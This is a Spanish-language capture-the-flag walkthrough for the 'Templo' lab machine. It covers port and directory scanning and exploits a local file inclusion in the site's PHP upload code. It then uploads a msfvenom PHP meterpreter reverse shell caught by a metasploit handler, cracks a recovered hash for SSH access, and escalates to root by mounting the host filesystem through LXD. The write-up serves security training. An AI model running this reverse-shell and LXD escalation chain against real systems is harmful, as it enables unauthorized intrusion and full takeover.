Templo

Templo

Enlace

https://thehackerslabs.com/templo

RECONOCIMIENTO

Escaneo de puertos

└─$ nmap -A 192.168.1.172
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 19:28 EDT
Nmap scan report for TheHackersLabs-Templo.localdomain (192.168.1.172)
Host is up (0.00038s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 bc:8f:97:fa:60:eb:ed:b2:8c:3b:c0:65:3b:48:69:f1 (ECDSA)
|_ 256 f9:b0:9b:20:8f:3a:7b:33:e7:95:a5:43:e7:9b:c6:59 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: RODGAR
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.56 seconds

searchsploit Apache 2.4.58

Web app

Escaneo de directorios

dirb http://192.168.1.172 wordlists/dirb/big.txt -r
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Sep 5 20:10:55 2024
URL_BASE: http://192.168.1.172/
WORDLIST_FILES: wordlists/dirb/big.txt
OPTION: Not Recursive
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://192.168.1.172/ ----
==> DIRECTORY: http://192.168.1.172/css/
==> DIRECTORY: http://192.168.1.172/fonts/
==> DIRECTORY: http://192.168.1.172/images/
==> DIRECTORY: http://192.168.1.172/js/
==> DIRECTORY: http://192.168.1.172/wow/
-----------------
END_TIME: Thu Sep 5 20:11:06 2024
DOWNLOADED: 20458 - FOUND: 1
Entramos a http://192.168.1.172/wow

Luego revisando la pagina web encuentro este mensaje

Procedo a buscar paginas web escondidas con esa palabra como directorio con dirb

http://192.168.1.172/NAMARI/

http://192.168.1.172/NAMARI/uploads (nos da acceso denegado)

encontramos una página para subir archivos

Colocamos la ruta del sistema /etc/passwd y nos muestra lo siguiente

LFI en la pagina http://192.168.1.172/NAMARI/

Con esta vulnerabilidad podemos enumerar los usuarios del sistema, en este caso encontramos a:

  • rodgar

creamos e intentamos subir un reverse Shell de metasploit

msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o evil.php

con eso creamos el revershell

dentro de metasploit configuramos un multi handler, seguidamente lo iniciamos

msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [IP]
LHOST => [IP]
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse TCP handler on [IP]

Subimos el archivo pero al buscarlo nos damos cuenta que no lo encontramos

Dado que al incluir un archivo podemos referenciar a los archivos de la aplicación web obtenemos el archivo responsable de la subida codificado en base 64

<?php
// Manejo de subida de archivos
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$target_dir = "uploads/";
// Obtiene el nombre original del archivo y su extensión
$original_name = basename($_FILES["fileToUpload"]["name"]);
$file_extension = pathinfo($original_name, PATHINFO_EXTENSION);
$file_name_without_extension = pathinfo($original_name, PATHINFO_FILENAME);
$rot13_encoded_name = str_rot13($file_name_without_extension);
$new_name = $rot13_encoded_name . '.' . $file_extension;
// Crea la ruta completa para el nuevo archivo
$target_file = $target_dir . $new_name;
// Mueve el archivo subido al directorio objetivo con el nuevo nombre
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
// Mensaje genérico sin mostrar el nombre del archivo
$message = "El archivo ha sido subido exitosamente.";
$message_type = "success";
} else {
$message = "Hubo un error subiendo tu archivo.";
$message_type = "error";
}
}
if (isset($_GET['page'])) {
$file = $_GET['page'];
include($file);
}

Vemos que al subir el archivo codifica el nombre de este con rot13

Probamos acceder al archivo con furyy

Regresamos a la consola de metasploit donde vemos la ejecución del reverse Shell

Buscamos en /opt

Usamos jhon para desencriptar el archivo

Obtenemos esta clave

6rK5£6iqF;o|8dmla859/_

La usamos para acceder por ssh

Ejecutando LinPeas para escanear el sistema vemos el usuario Rodgar con permisos para ejecutar maquinas lxd

Buscamos con searchsploit

Y seguimos las instrucciones del script que nos presentan

Importamos la imagen

En este punto si nos da error colocar

lxd init

aceptar todas las opciones por defecto

  • lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true

  • lxc start privesc

  • lxc exec privesc sh

En este punto ya tenemos root!